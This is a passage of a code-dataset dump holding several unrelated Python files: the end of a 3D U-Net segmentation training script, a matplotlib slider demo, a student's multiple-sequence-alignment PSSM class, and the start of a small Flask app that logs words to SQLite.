= 0\n# Flag to make flips on the subvolumes \nflips = False\n# Flag to extract random subvolumnes during the DA. Not compatible with \n# 'use_all_volume' as it forces the data preparation into subvolumes\nrandom_subvolumes_in_DA = False\n\n\n### Load previously generated model weigths\n# Flag to activate the load of a previous training weigths instead of train \n# the network again\nload_previous_weights = True\n# ID of the previous experiment to load the weigths from \nprevious_job_weights = job_id\n# Flag to activate the fine tunning\nfine_tunning = False\n# ID of the previous weigths to load the weigths from to make the fine tunning \nfine_tunning_weigths = \"232\"\n# Prefix of the files where the weights are stored/loaded from\nweight_files_prefix = 'model.fibsem_'\n# Name of the folder where weights files will be stored/loaded from. This folder \n# must be located inside the directory pointed by \"base_work_dir\" variable. If\n# there is no such directory, it will be created for the first time\nh5_dir = 'h5_files'\n\n\n### Experiment main parameters\n# Batch size value\nbatch_size_value = 1\n# Optimizer to use. Posible values: \"sgd\" or \"adam\"\noptimizer = \"sgd\"\n# Learning rate used by the optimization method\nlearning_rate_value = 0.001\n# Number of epochs to train the network\nepochs_value = 360\n# Number of epochs to stop the training process after no improvement\npatience = 50 \n# Flag to activate the creation of a chart showing the loss and metrics fixing \n# different binarization threshold values, from 0.1 to 1. Useful to check a \n# correct threshold value (normally 0.5)\nmake_threshold_plots = False\n# Define time callback \ntime_callback = TimeHistory()\n\n\n### Network architecture specific parameters\n# Number of channels in the first initial layer of the network\nnum_init_channels = 16\n# Flag to activate the Spatial Dropout instead of use the \"normal\" dropout layer\nspatial_dropout = False\n# Fixed value to make the dropout. Ignored if the value is zero\nfixed_dropout_value = 0.0 \n\n\n### Post-processing\n# Flag to activate the post-processing (Smoooth and Z-filtering)\npost_process = True\n\n\n### Paths of the results \n# Directory where predicted images of the segmentation will be stored\nresult_dir = os.path.join('results', 'results_' + job_id, job_file)\n# Directory where binarized predicted images will be stored\nresult_bin_dir = os.path.join(result_dir, 'binarized')\n# Directory where predicted images will be stored\nresult_no_bin_dir = os.path.join(result_dir, 'no_binarized')\n# Directory where binarized predicted images with 50% of overlap will be stored\nresult_bin_dir_50ov = os.path.join(result_dir, 'binarized_50ov')\n# Folder where the smoothed images will be stored\nsmooth_dir = os.path.join(result_dir, 'smooth')\n# Folder where the images with the z-filter applied will be stored\nzfil_dir = os.path.join(result_dir, 'zfil')\n# Folder where the images with smoothing and z-filter applied will be stored\nsmoo_zfil_dir = os.path.join(result_dir, 'smoo_zfil')\n# Name of the folder where the charts of the loss and metrics values while \n# training the network will be shown. This folder will be created under the\n# folder pointed by \"base_work_dir\" variable \nchar_dir = 'charts'\n\n\n#####################\n# SANITY CHECKS #\n#####################\n\nprint(\"#####################\\n# SANITY CHECKS #\\n#####################\")\n\ncheck_binary_masks(train_mask_path)\ncheck_binary_masks(test_mask_path)\n\n\n########################## \n# LOAD DATA # \n##########################\n\nprint(\"##################\\n# LOAD DATA #\\n##################\\n\")\n\nX_train, Y_train, \\\nX_val, Y_val, \\\nX_test, Y_test, \\\nnorm_value, _ = load_data(\n train_path, train_mask_path, test_path, test_mask_path, img_train_shape, \n img_test_shape, val_split=perc_used_as_val, shuffle_val=False,\n make_crops=False, prepare_subvolumes=use_all_volume, \n subvol_shape=img_3d_desired_shape)\n\n# Normalize the data\nif normalize_data == True:\n if norm_value_forced != -1: \n print(\"Forced normalization value to {}\".format(norm_value_forced))\n norm_value = norm_value_forced\n else:\n print(\"Normalization value calculated: {}\".format(norm_value))\n X_train -= int(norm_value)\n X_val -= int(norm_value)\n X_test -= int(norm_value)\n \n\n##########################\n# DATA AUGMENTATION #\n##########################\n\nprint(\"##################\\n# DATA AUG #\\n##################\\n\")\n\ntrain_generator = VoxelDataGenerator(\n X_train, Y_train, random_subvolumes_in_DA=random_subvolumes_in_DA, \n shuffle_each_epoch=shuffle_train_data_each_epoch, batch_size=batch_size_value, \n da=da, flip=flips, shift_range=shift_range, rotation_range=rotation_range)\n\nval_generator = VoxelDataGenerator(\n X_val, Y_val, random_subvolumes_in_DA=False, \n shuffle_each_epoch=shuffle_val_data_each_epoch, batch_size=batch_size_value, \n da=False) \n \n\n##########################\n# BUILD THE NETWORK #\n##########################\n\nprint(\"###################\\n# TRAIN PROCESS #\\n###################\\n\")\n\nprint(\"Creating the network . . .\")\nmodel = U_Net_3D(img_3d_desired_shape, numInitChannels=num_init_channels, \n spatial_dropout=spatial_dropout,\n fixed_dropout=fixed_dropout_value,\n optimizer=optimizer, lr=learning_rate_value)\n\nmodel.summary()\n\nif load_previous_weights == False:\n earlystopper = EarlyStopping(patience=patience, verbose=1, \n restore_best_weights=True)\n \n if not os.path.exists(h5_dir): \n os.makedirs(h5_dir)\n checkpointer = ModelCheckpoint(\n os.path.join(h5_dir, weight_files_prefix + job_file + '.h5'),\n verbose=1, save_best_only=True)\n \n if fine_tunning == True: \n h5_file=os.path.join(h5_dir, weight_files_prefix + fine_tunning_weigths \n + '_' + test_id + '.h5') \n print(\"Fine-tunning: loading model weights from h5_file: {}\".format(h5_file)) \n model.load_weights(h5_file) \n \n results = model.fit_generator(\n train_generator, validation_data=val_generator,\n validation_steps=math.ceil(len(X_val)/batch_size_value),\n steps_per_epoch=math.ceil(len(X_train)/batch_size_value),\n epochs=epochs_value, \n callbacks=[earlystopper, checkpointer, time_callback])\nelse:\n h5_file=os.path.join(h5_dir, weight_files_prefix + previous_job_weights \n + '_' + test_id + '.h5')\n print(\"Loading model weights from h5_file: {}\".format(h5_file))\n model.load_weights(h5_file)\n\n\n#####################\n# INFERENCE #\n#####################\n\nprint(\"##################\\n# INFERENCE #\\n##################\\n\")\n\n# Evaluate to obtain the loss value and the Jaccard index\nprint(\"Evaluating test data . . .\")\nscore = model.evaluate(X_test, Y_test, batch_size=batch_size_value, verbose=1)\njac_per_subvolume = score[1]\n\n# Predict on test\nprint(\"Making the predictions on test data . . .\")\npreds_test = model.predict(X_test, batch_size=batch_size_value, verbose=1)\n\n# Threshold images\nbin_preds_test = (preds_test > 0.5).astype(np.uint8)\n\nprint(\"Saving predicted images . . .\")\n#reconstruct the images \n#save_img(Y=bin_preds_test, mask_dir=result_bin_dir, prefix=\"test_out_bin\")\n#save_img(Y=preds_test, mask_dir=result_no_bin_dir, prefix=\"test_out_no_bin\")\n\nprint(\"Calculate metrics . . .\")\n# Per image without overlap\nscore[1] = jaccard_index_numpy(Y_test, bin_preds_test)\nvoc = voc_calculation(Y_test, bin_preds_test, score[1])\n#det = DET_calculation(Y_test, bin_preds_test, det_eval_ge_path,\n# det_eval_path, det_bin, n_dig, job_id)\ndet = -1\n\n# 50% overlap\njac_per_img_50ov = -1\nvoc_per_img_50ov = -1\ndet_per_img_50ov = -1\n\n \n####################\n# POST-PROCESING #\n####################\n\nprint(\"##################\\n# POST-PROCESING #\\n##################\\n\") \n\nprint(\"1) SMOOTH\")\n# not implemented\nprint(\"2) Z-FILTERING\")\n# not implemented\nprint(\"Finish post-processing\") \n\n\n####################################\n# PRINT AND SAVE SCORES OBTAINED #\n####################################\n\nif load_previous_weights == False:\n print(\"Epoch average time: {}\".format(np.mean(time_callback.times)))\n print(\"Epoch number: {}\".format(len(results.history['val_loss'])))\n print(\"Train time (s): {}\".format(np.sum(time_callback.times)))\n print(\"Train loss: {}\".format(np.min(results.history['loss'])))\n print(\"Train jaccard_index: {}\"\\\n .format(np.max(results.history['jaccard_index'])))\n print(\"Validation loss: {}\".format(np.min(results.history['val_loss'])))\n print(\"Validation jaccard_index: {}\"\\\n .format(np.max(results.history['val_jaccard_index'])))\n\nprint(\"Test loss: \".format(score[0]))\nprint(\"Test jaccard_index (per subvolume): {}\".format(jac_per_subvolume))\nprint(\"Test jaccard_index (per image without overlap): {}\".format(score[1]))\nprint(\"Test jaccard_index (per image with 50% overlap): {}\".format(jac_per_img_50ov))\nprint(\"VOC (per image without overlap): {}\".format(voc))\nprint(\"VOC (per image with 50% overlap): {}\".format(voc_per_img_50ov))\nprint(\"DET (per image without overlap): {}\".format(det))\nprint(\"DET (per image with 50% overlap): {}\".format(det_per_img_50ov))\n \nif load_previous_weights == False:\n smooth_score = -1 if 'smooth_score' not in globals() else smooth_score\n smooth_voc = -1 if 'smooth_voc' not in globals() else smooth_voc\n smooth_det = -1 if 'smooth_det' not in globals() else smooth_det\n zfil_score = -1 if 'zfil_score' not in globals() else zfil_score\n zfil_voc = -1 if 'zfil_voc' not in globals() else zfil_voc\n zfil_det = -1 if 'zfil_det' not in globals() else zfil_det\n smo_zfil_score = -1 if 'smo_zfil_score' not in globals() else smo_zfil_score\n smo_zfil_voc = -1 if 'smo_zfil_voc' not in globals() else smo_zfil_voc\n smo_zfil_det = -1 if 'smo_zfil_det' not in globals() else smo_zfil_det\n jac_per_subvolume = -1 if 'jac_per_subvolume' not in globals() else jac_per_subvolume\n\n store_history(\n results, jac_per_subvolume, score, jac_per_img_50ov, voc, \n voc_per_img_50ov, det, det_per_img_50ov, time_callback, log_dir,\n job_file, smooth_score, smooth_voc, smooth_det, zfil_score, zfil_voc, \n zfil_det, smo_zfil_score, smo_zfil_voc, smo_zfil_det)\n\n create_plots(results, job_id, test_id, char_dir)\n\nprint(\"FINISHED JOB {} !!\".format(job_file))\n","sub_path":"cheng_2017/tf_2.0_code/templates/3d_template.py","file_name":"3d_template.py","file_ext":"py","file_size_in_byte":15166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"599513079","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.widgets import Slider\nfrom mpl_toolkits.mplot3d import Axes3D\n\nfig = plt.figure()\nax = fig.add_subplot(111, projection='3d')\n\nplt.subplots_adjust(left=0.25, bottom=0.25)\n\"\"\"\nx = np.arange(0.0, 1.0, 0.1)\na0 = 5\nb0 = 1\ny = a0 * x + b0\nz = np.zeros(10)\n\"\"\"\na0 = 5\nb0 = 1\n\nf, a, b, c = 3, 1, 1, 1\n\nt = np.linspace(0, np.pi, f)\ng = np.linspace(0, 2*np.pi, f)\n\nth, ph = np.meshgrid(t, g)\nr = 0.2\nX, Y, Z = a*np.sin(th)*np.cos(ph),b*np.sin(th)*np.sin(ph),c*np.cos(th)\n\nl, = plt.plot(X, Y, Z)\n\n# Set size of Axes\nplt.axis([0, 1, -10, 10])\n\n# Place Sliders on Graph\nax_a = plt.axes([0.25, 0.1, 0.65, 0.03])\nax_b = plt.axes([0.25, 0.15, 0.65, 0.03])\n\n# Create Sliders & Determine Range\nsa = Slider(ax_a, 'a', 0, 10.0, valinit=a0)\nsb = Slider(ax_b, 'b', 0, 10.0, valinit=b0)\n\n\ndef update(val):\n a = sa.val\n b = sb.val\n l.set_data(f, a * f + b)\n l.set_3d_properties(Z)\n fig.canvas.draw_idle()\n\nsa.on_changed(update)\nsb.on_changed(update)\n\nplt.show()","sub_path":"CG/lab3/ialjwd.py","file_name":"ialjwd.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"244369723","text":"import numpy as np\nfrom collections import Counter\nimport re\nimport json\n\"\"\"\nATTENTION: Use the following dictionaries to get the correct index for each\n amino acid when accessing any type of matrix or array provided as\n parameters. Further, use those indices when generating or returning\n any matrices or arrays. Failure to do so will most likely result in\n not passing the tests.\nEXAMPLE: To access the substitution frequency from alanine 'A' to proline 'P'\n in the bg_matrix use bg_matrix[AA_TO_INT['A'], AA_TO_INT['P']].\n\"\"\"\nALPHABET = 'ACDEFGHIKLMNPQRSTVWY-'\nAA_TO_INT = {aa: index for index, aa in enumerate(ALPHABET)}\nINT_TO_AA = {index: aa for index, aa in enumerate(ALPHABET)}\nGAP_INDEX = AA_TO_INT['-']\npattern = re.compile(ALPHABET)\n#config = json.loads(open('./pssm_test.json').read())\n\nclass MSA:\n\n def __init__(self, sequences):\n \"\"\"\n Initialize the MSA class with the provided list of sequences. Check the\n sequences for correctness. Pre-calculate any statistics you seem fit.\n\n :param sequences: List containing the MSA sequences.\n \"\"\"\n list_does_contain = True if all(bool(re.match('^[ACDEFGHIKLMNPQRSTVWY-]+$', item)) for item in sequences) else False\n all_same_length = True if len(sequences) > 0 and all(len(l) == len(next(iter(sequences))) for l in sequences) else False\n has_item = True if len(sequences) > 0 else False\n \n if not has_item or not all_same_length or not list_does_contain or sequences==None :\n raise TypeError('Invalid MSA')\n else:\n self.sequences = sequences \n self.num_seqs, self.msa_length = self.get_size()\n self.frequencies = self.freq_count()\n self.ungapped_seq_length = len(self.get_primary_sequence())\n self.ungapped_pri_seq_positions= list(i for i,x in enumerate(self.sequences[0]) if x != '-')\n self.weighted_freq = self.get_weighted_freq()\n\n self.p = 0.05\n self.pssm_matrix = np.zeros((self.ungapped_seq_length, len(ALPHABET)-1), dtype=np.float64)\n self.freq = self.frequencies[self.ungapped_pri_seq_positions, :len(ALPHABET)-1]\n self.gaps = self.frequencies[self.ungapped_pri_seq_positions, len(ALPHABET)-1].reshape(self.ungapped_seq_length,1)\n self.alpha = self.get_number_of_observations()-1\n def freq_count(self):\n frequencies = np.zeros((self.msa_length, len(ALPHABET)), dtype=np.float64)\n for s in self.sequences:\n for i,j in enumerate(s):\n frequencies[i][AA_TO_INT[j]] += 1\n return frequencies\n\n def get_weighted_freq(self):\n weighted_freq = np.zeros((self.msa_length, 21), dtype=np.float64)\n curr_seq = 0\n weights = self.get_sequence_weights()\n for s in self.sequences:\n for i,j in enumerate(s):\n weighted_freq[i][AA_TO_INT[j]] += weights[curr_seq]\n if i+1 == self.msa_length:\n curr_seq += 1\n return weighted_freq \n # def get_pseudo_freq(self, bg_matrix):\n # pseudo_freq = np.zeros((self.msa_length, 21), dtype=np.float64)\n # curr_seq = 0\n # pseudo_counts = (self.freq/self.p).dot(bg_matrix)\n # for s in self.sequences:\n # for i,j in enumerate(s):\n # pseudo_freq[i][AA_TO_INT[j]] += pseudo_counts[curr_seq]\n # if i+1 == self.msa_length:\n # curr_seq += 1\n # return weighted_freq \n def calc_pssm(self, p, freq):\n pssm_matrix = np.zeros((self.ungapped_seq_length, len(ALPHABET)-1), dtype=np.float64)\n normalized_f = freq/np.sum(freq, axis=1, keepdims=True)\n pssm_matrix = 2*np.log2(normalized_f/p)\n pssm_matrix[np.where(pssm_matrix == 0.0) ] = -20\n return np.rint(pssm_matrix).astype(np.int64)\n def get_weighted_pssm(self):\n p = 0.05\n freq = self.weighted_freq[self.ungapped_pri_seq_positions, :len(ALPHABET)-1]\n normalized_f = freq/np.sum(freq, axis=1, keepdims=True)\n pssm_matrix = 2*np.log2(normalized_f/p)\n pssm_matrix[np.where(normalized_f == 0.0) ] = -20\n\n return np.rint(pssm_matrix).astype(np.int64)\n\n def get_pssm_with_background(self, bg_matrix): \n pssm_matrix = np.zeros((self.ungapped_seq_length, len(ALPHABET)-1), dtype=np.float64) \n back_freq = np.sum(bg_matrix, axis=0).reshape(1,20)\n aligned_freq = self.frequencies[self.ungapped_pri_seq_positions, :len(ALPHABET)-1]\n normalized_f = aligned_freq/np.sum(aligned_freq, axis=1, keepdims=True)\n pssm_matrix = 2*np.log2(normalized_f/back_freq)\n pssm_matrix[np.where(normalized_f == 0.0) ] = -20\n return np.rint(pssm_matrix).astype(np.int64)\n\n def get_basic_pssm(self):\n pssm_matrix = np.zeros((self.ungapped_seq_length, len(ALPHABET)-1), dtype=np.float64) \n p = 0.05\n aligned_freq = self.frequencies[self.ungapped_pri_seq_positions, :len(ALPHABET)-1]\n normalized_f = aligned_freq/np.sum(aligned_freq, axis=1, keepdims=True)\n normalized_f[np.where(normalized_f == 0.0) ] = (2**-10)*p \n pssm_matrix = 2*np.log2(normalized_f/p)\n return np.rint(pssm_matrix).astype(np.int64)\n\n#pssm_matrix testtekilerle aynı gibi görünüyor ama test hata veriyor Initialization failed belki de get_pssm de çağırırken hata var.\n def get_pssm_with_distr_gap(self):\n pssm_matrix = np.zeros((self.ungapped_seq_length, len(ALPHABET)-1), dtype=np.float64)\n freq = self.frequencies[self.ungapped_pri_seq_positions, :len(ALPHABET)-1]\n gaps = self.frequencies[self.ungapped_pri_seq_positions, len(ALPHABET)-1].reshape(self.ungapped_seq_length,1)\n p = 0.05\n freq += gaps.dot(p)\n normalized_f = freq/np.sum(freq, axis=1, keepdims=True)\n pssm_matrix = 2*np.log2(normalized_f/p)\n pssm_matrix[np.where(pssm_matrix == 0.0) ] = (2**-10)*p \n pssm_matrix = np.rint(pssm_matrix).astype(np.int64)\n return pssm_matrix\n def get_pssm_with_background_w_gaps(self, bg_matrix):\n pssm_matrix = np.zeros((self.ungapped_seq_length, len(ALPHABET)-1), dtype=np.float64)\n freq = self.frequencies[self.ungapped_pri_seq_positions, :len(ALPHABET)-1]\n gaps = self.frequencies[self.ungapped_pri_seq_positions, len(ALPHABET)-1].reshape(self.ungapped_seq_length,1)\n back_freq = np.sum(bg_matrix, axis=0).reshape(1,20)\n freq += gaps.dot(back_freq)\n normalized_f = freq/np.sum(freq, axis=1, keepdims=True)\n pssm_matrix = 2*np.log2(normalized_f/back_freq)\n pssm_matrix[np.where(normalized_f == 0.0) ] = -20\n pssm_matrix = np.rint(pssm_matrix).astype(np.int64)\n return pssm_matrix\n def get_weighted_pssm_with_background(self, bg_matrix):\n back_freq = np.sum(bg_matrix, axis=0).reshape(1,20)\n freq = self.weighted_freq[self.ungapped_pri_seq_positions, :len(ALPHABET)-1]\n f = freq/np.sum(freq, axis=1, keepdims=True)\n pssm_matrix = 2*np.log2(f/back_freq)\n pssm_matrix[np.where(f == 0.0) ] = -20\n \n return np.rint(pssm_matrix).astype(np.int64)\n def get_weighted_pssm_with_background_distr(self, bg_matrix):\n back_freq = np.sum(bg_matrix, axis=0).reshape(1,20)\n freq = self.weighted_freq[self.ungapped_pri_seq_positions, :len(ALPHABET)-1]\n gaps = self.weighted_freq[self.ungapped_pri_seq_positions, len(ALPHABET)-1].reshape(self.ungapped_seq_length,1)\n freq += gaps.dot(back_freq)\n f = freq/np.sum(freq, axis=1, keepdims=True)\n pssm_matrix = 2*np.log2(f/back_freq)\n pssm_matrix[np.where(f == 0.0) ] = -20\n return np.rint(pssm_matrix).astype(np.int64)\n def get_pssm_with_pseudocounts(self, bg_matrix, beta):\n p= 0.05\n freq = self.frequencies[self.ungapped_pri_seq_positions, :len(ALPHABET)-1]\n pseudo_counts = (freq/p).dot(bg_matrix)\n alpha = self.get_number_of_observations()-1\n freq = (alpha*freq+beta*pseudo_counts)/(alpha+beta)\n f = freq/np.sum(freq, axis=1, keepdims=True)\n pssm_matrix = 2*np.log2(f/p)\n pssm_matrix[np.where(f == 0.0) ] = -20\n return np.rint(pssm_matrix).astype(np.int64)\n def get_pssm_with_pseudocounts_with_gap_bg(self, bg_matrix, beta):\n back_freq = np.sum(bg_matrix, axis=0).reshape(1,20)\n freq = self.frequencies[self.ungapped_pri_seq_positions, :len(ALPHABET)-1]\n gaps = self.frequencies[self.ungapped_pri_seq_positions, len(ALPHABET)-1].reshape(self.ungapped_seq_length,1)\n freq += gaps.dot(back_freq)\n pseudo_counts = (freq/back_freq).dot(bg_matrix)\n alpha = self.get_number_of_observations()-1\n freq = (alpha*freq+beta*pseudo_counts)/(alpha+beta)\n f = freq/np.sum(freq, axis=1, keepdims=True)\n pssm_matrix = 2*np.log2(f/back_freq)\n pssm_matrix[np.where(f == 0.0) ] = -20\n return np.rint(pseudo_counts).astype(np.int64)\n def get_pssm_with_weighted_distr_bg_pseudocounts(self, bg_matrix, beta):\n back_freq = np.sum(bg_matrix, axis=0).reshape(1,20)\n freq = self.weighted_freq[self.ungapped_pri_seq_positions, :len(ALPHABET)-1]\n gaps = self.weighted_freq[self.ungapped_pri_seq_positions, len(ALPHABET)-1].reshape(self.ungapped_seq_length,1)\n freq += gaps.dot(back_freq)\n pseudo_counts = (freq/back_freq).dot(bg_matrix)\n alpha = self.get_number_of_observations()-1\n freq = (alpha*freq+beta*pseudo_counts)/(alpha+beta)\n f = freq/np.sum(freq, axis=1, keepdims=True)\n pssm_matrix = 2*np.log2(f/back_freq)\n pssm_matrix[np.where(f == 0.0) ] = -20\n return np.rint(pssm_matrix).astype(np.int64)\n def get_pssm_with_weighted_bg_pseudocounts(self, bg_matrix, beta):\n back_freq = np.sum(bg_matrix, axis=0).reshape(1,20)\n freq = self.weighted_freq[self.ungapped_pri_seq_positions, :len(ALPHABET)-1]\n pseudo_counts = (freq/back_freq).dot(bg_matrix)\n alpha = self.get_number_of_observations()-1\n freq = (alpha*freq+beta*pseudo_counts)/(alpha+beta)\n f = freq/np.sum(freq, axis=1, keepdims=True)\n pssm_matrix = 2*np.log2(f/back_freq)\n pssm_matrix[np.where(f == 0.0) ] = -20\n return np.rint(pssm_matrix).astype(np.int64)\n def get_pssm(self, *, bg_matrix=None, beta=10, use_sequence_weights=False,\n redistribute_gaps=False, add_pseudocounts=False):\n \"\"\"\n Return a PSSM for the underlying MSA. Use the appropriate refinements \n according to the parameters. If no bg_matrix is specified, use uniform \n background frequencies.\n Every row in the resulting PSSM corresponds to a non-gap position in \n the primary sequence of the MSA (i.e. the first one).\n Every column in the PSSM corresponds to one of the 20 amino acids.\n Values that would be -inf must be replaced by -20 in the final PSSM.\n Before casting to dtype=numpy.int64, round all values to the nearest\n integer (do not just FLOOR all values).\n\n :param bg_matrix: Amino acid pair frequencies as numpy array (20, 20).\n Access the matrix using the indices from AA_TO_INT.\n :param beta: Beta value (float) used to weight the pseudocounts \n against the observed amino acids in the MSA.\n :param use_sequence_weights: Calculate and apply sequence weights.\n :param redistribute_gaps: Redistribute the gaps according to the \n background frequencies.\n :param add_pseudocounts: Calculate and add pseudocounts according \n to the background frequencies.\n\n :return: PSSM as numpy array of shape (L x 20, dtype=numpy.int64).\n L = ungapped length of the primary sequence.\n \"\"\"\n if self.sequences != None:\n pssm = np.zeros((self.ungapped_seq_length, len(ALPHABET)-1), np.int64)\n if bg_matrix and use_sequence_weights and redistribute_gaps and add_pseudocounts:\n pssm = self.get_pssm_with_weighted_distr_bg_pseudocounts(bg_matrix,beta)\n elif bg_matrix and redistribute_gaps and not use_sequence_weights and not add_pseudocounts:\n pssm = self.get_pssm_with_background_w_gaps(bg_matrix)\n elif bg_matrix and not redistribute_gaps and not use_sequence_weights and not add_pseudocounts:\n pssm = self.get_pssm_with_background(bg_matrix)\n elif bg_matrix and use_sequence_weights and not add_pseudocounts and not redistribute_gaps:\n pssm = self.get_weighted_pssm_with_background(bg_matrix)\n elif bg_matrix and use_sequence_weights and not add_pseudocounts and redistribute_gaps:\n pssm = self.get_weighted_pssm_with_background_distr(bg_matrix)\n elif not bg_matrix and add_pseudocounts and not use_sequence_weights and not redistribute_gaps:\n pssm = self.get_pssm_with_pseudocounts(bg_matrix, beta)\n elif bg_matrix and add_pseudocounts and use_sequence_weights and not redistribute_gaps:\n pssm = self.get_pssm_with_weighted_bg_pseudocounts(bg_matrix, beta)\n elif bg_matrix and add_pseudocounts and not use_sequence_weights and redistribute_gaps:\n pssm = self.get_pssm_with_pseudocounts_with_gap_bg(bg_matrix, beta)\n elif not bg_matrix and redistribute_gaps and not add_pseudocounts and not use_sequence_weights:\n pssm = self.get_pssm_with_distr_gap()\n elif not bg_matrix and not redistribute_gaps and not add_pseudocounts and use_sequence_weights:\n pssm = self.get_weighted_pssm()\n else:\n pssm = self.get_basic_pssm()\n return pssm\n\n\n # if bg_matrix:\n # back_freq = np.sum(bg_matrix, axis=0).reshape(1,20),\n # self.p = back_freq\n # if redistribute_gaps:\n # self.freq += self.gaps.dot(self.p)\n # if add_pseudocounts:\n # pseudo_counts = (self.freq/self.p).dot(bg_matrix)\n # self.freq = (self.alpha * self.freq + beta * pseudo_counts)/(self.alpha+beta)\n # if use_sequence_weights:\n # self.freq = self.weighted_freq[self.ungapped_pri_seq_positions, :len(ALPHABET)-1]\n # self.gaps = self.weighted_freq[self.ungapped_pri_seq_positions, len(ALPHABET)-1].reshape(self.ungapped_seq_length,1)\n # f = self.freq/np.sum(self.freq, axis=1, keepdims=True)\n # self.pssm_matrix = 2*np.log2(f/self.p)\n # self.pssm_matrix[np.where(f == 0.0) ] = -20\n # return np.rint(self.pssm_matrix).astype(np.int64)\n\n\n # if bg_matrix:\n # back_freq = np.sum(bg_matrix, axis=0).reshape(1,20),\n # self.p = back_freq\n # if redistribute_gaps:\n # self.freq += self.gaps.dot(self.p)\n # if add_pseudocounts:\n # pseudo_counts = (self.freq/self.p).dot(bg_matrix)\n # self.freq = (self.alpha * self.freq + beta * pseudo_counts)/(self.alpha+beta)\n # if use_sequence_weights:\n # self.freq = self.weighted_freq[self.ungapped_pri_seq_positions, :len(ALPHABET)-1]\n # self.gaps = self.weighted_freq[self.ungapped_pri_seq_positions, len(ALPHABET)-1].reshape(self.ungapped_seq_length,1)\n # self.freq += self.gaps.dot(self.p)\n # f = self.freq/np.sum(self.freq, axis=1, keepdims=True)\n # self.pssm_matrix = 2*np.log2(f/self.p)\n # self.pssm_matrix[np.where(f == 0.0) ] = -20\n # print(self.pssm_matrix)\n # return np.rint(self.pssm_matrix).astype(np.int64)\n def get_size(self):\n \"\"\"\n Return the number of sequences in the MSA and the MSA length, i.e.\n the number of columns in the MSA. This includes gaps.\n\n :return: Tuple of two integers. First element is the number of\n sequences in the MSA, second element is the MSA length.\n \"\"\"\n num_seqs = len(self.sequences)\n msa_length = len(self.sequences[0])\n return (num_seqs, msa_length)\n\n def get_primary_sequence(self):\n \"\"\"\n Return the primary sequence of the MSA. In this exercise, the primary\n sequence is always the first sequence of the MSA. The returned \n sequence must NOT include gap characters.\n\n :return: String containing the ungapped primary sequence.\n \"\"\"\n return self.sequences[0].replace('-', '')\n\n def get_sequence_weights(self):\n \"\"\"\n Return the calculated sequence weights for all sequences in the MSA.\n The order of weights in the array must be equal to the order of the\n sequences in the MSA.\n\n :return: Numpy array (dtype=numpy.float64) containing the weights for\n all sequences in the MSA.\n \"\"\"\n weights = np.zeros(self.num_seqs)\n curr_seq = 0\n r = np.count_nonzero(self.frequencies, axis = 1)\n W = np.zeros((self.msa_length, self.num_seqs), dtype=np.float64)\n weights = np.zeros(self.num_seqs)\n for s in self.sequences:\n for i,j in enumerate(s):\n W[i][curr_seq] = 1.0/(self.frequencies[i][AA_TO_INT[j]]*r[i])\n if i+1 == self.msa_length:\n curr_seq += 1\n weights = np.sum(W[r > 1], axis = 0)\n return weights.astype(np.float64)\n\n def get_number_of_observations(self):\n \"\"\"\n Return the estimated number of independent observations in the MSA.\n\n :return: Estimate of independent observation (dtype=numpy.float64).\n \"\"\"\n r = np.count_nonzero(self.frequencies, axis = 1) \n num_obs = sum(r)/self.msa_length\n return num_obs.astype(np.float64)\n \n\n# pssm = MSA(config[\"msa_sequences\"]).get_pssm_with_pseudocounts_with_gap(config[\"bg_matrix\"],beta=10)\n# print(pssm)\n# # print(len(config[\"pssm_07\"]))\n# print(np.array_equal(pssm, config[\"pssm_08\"]))\n\n# pssm = MSA(config[\"msa_sequences\"]).get_pssm_with_pseudocounts(config[\"bg_matrix\"],beta=10)\n# print(pssm)\n# # print(len(config[\"pssm_07\"]))\n# print(np.array_equal(pssm, config[\"pssm_07\"]))","sub_path":"codechecker/repos/4/collected_files/pssm/ga62toz.py","file_name":"ga62toz.py","file_ext":"py","file_size_in_byte":18291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"293913140","text":"#from firebase import firebase\nfrom flask import Response, Flask, request, render_template\nimport requests\nimport sqlite3\nimport json\nfrom datetime import datetime\n\napp = Flask(__name__)\n\npalabraRecibida = \"\"\nmodo = \"\"\n\n@app.route('/restart')\ndef create_table():\n conn=sqlite3.connect('database.db')\n c=conn.cursor()\n c.execute('''DROP TABLE PALABRAS;''')\n c.execute('''CREATE TABLE PALABRAS (id INTEGER PRIMARY KEY,TEXTO TEXT, MODO TEXT, FECHAHORA TEXT)''')\n conn.close()\n global palabraRecibida\n global modo\n palabraRecibida = \"\"\n modo = \"\"\n return \"Tabla PALABRAS reiniciada\"\n\n@app.route('/nuevaPalabra')\ndef nuevaPalabra():\n return render_template('nuevaPalabra.html')\n\n@app.route('/nuevaPalabra/Mostrar')\ndef nuevaPalabraMostrar():\n now = datetime.now() # current date and time\n date_time = now.strftime(\"%m/%d/%Y, %H:%M:%S\")\n global modo\n modo = \"MOSTRAR\"\n palabra = request.args['palabra']\n conn = sqlite3.connect(\"database.db\")\n c = conn.cursor()\n c.execute('''INSERT INTO PALABRAS(TEXTO,MODO,FECHAHORA) VALUES(?,?,?)''', (palabra,modo,date_time))\n conn.commit()\n conn.close()\n global palabraRecibida\n palabraRecibida = palabra\n return \"[\"+palabra+\"] GUARDADA CORRECTAMENTE, MODO: [\"+modo+\"]\"\n\n\n@app.route('/nuevaPalabra/saludo')\ndef nuevaPalabraSaludo():\n now = datetime.now() # current date and time\n date_time = now.strftime(\"%m/%d/%Y, %H:%M:%S\")\n global modo\n modo = \"SALUDO\"\n palabra = \"HOLA GRUPO 8\"\n conn = sqlite3.connect(\"database.db\")\n c = conn.cursor()\n c.execute('''INSERT INTO PALABRAS(TEXTO,MODO,FECHAHORA) VALUES(?,?,?)''', (palabra,modo,date_time))\n conn.commit()\n conn.close()\n global palabraRecibida\n palabraRecibida = palabra\n return \"[\"+palabra+\"] GUARDADA CORRECTAMENTE, MODO: [\"+modo+\"]\"\n\n\n@app.route('/nuevaPalabra/Aprendizaje')\ndef nuevaPalabraAprendizaje():\n now = datetime.now() # current date and time\n date_time = now.strftime(\"%m/%d/%Y, %H:%M:%S\")\n global modo\n modo = \"APRENDER\"\n palabra = request.args['palabra']\n conn = sqlite3.connect(\"database.db\")\n c = conn.cursor()\n c.execute('''INSERT INTO PALABRAS(TEXTO,MODO,FECHAHORA) VALUES(?,?,?)''', 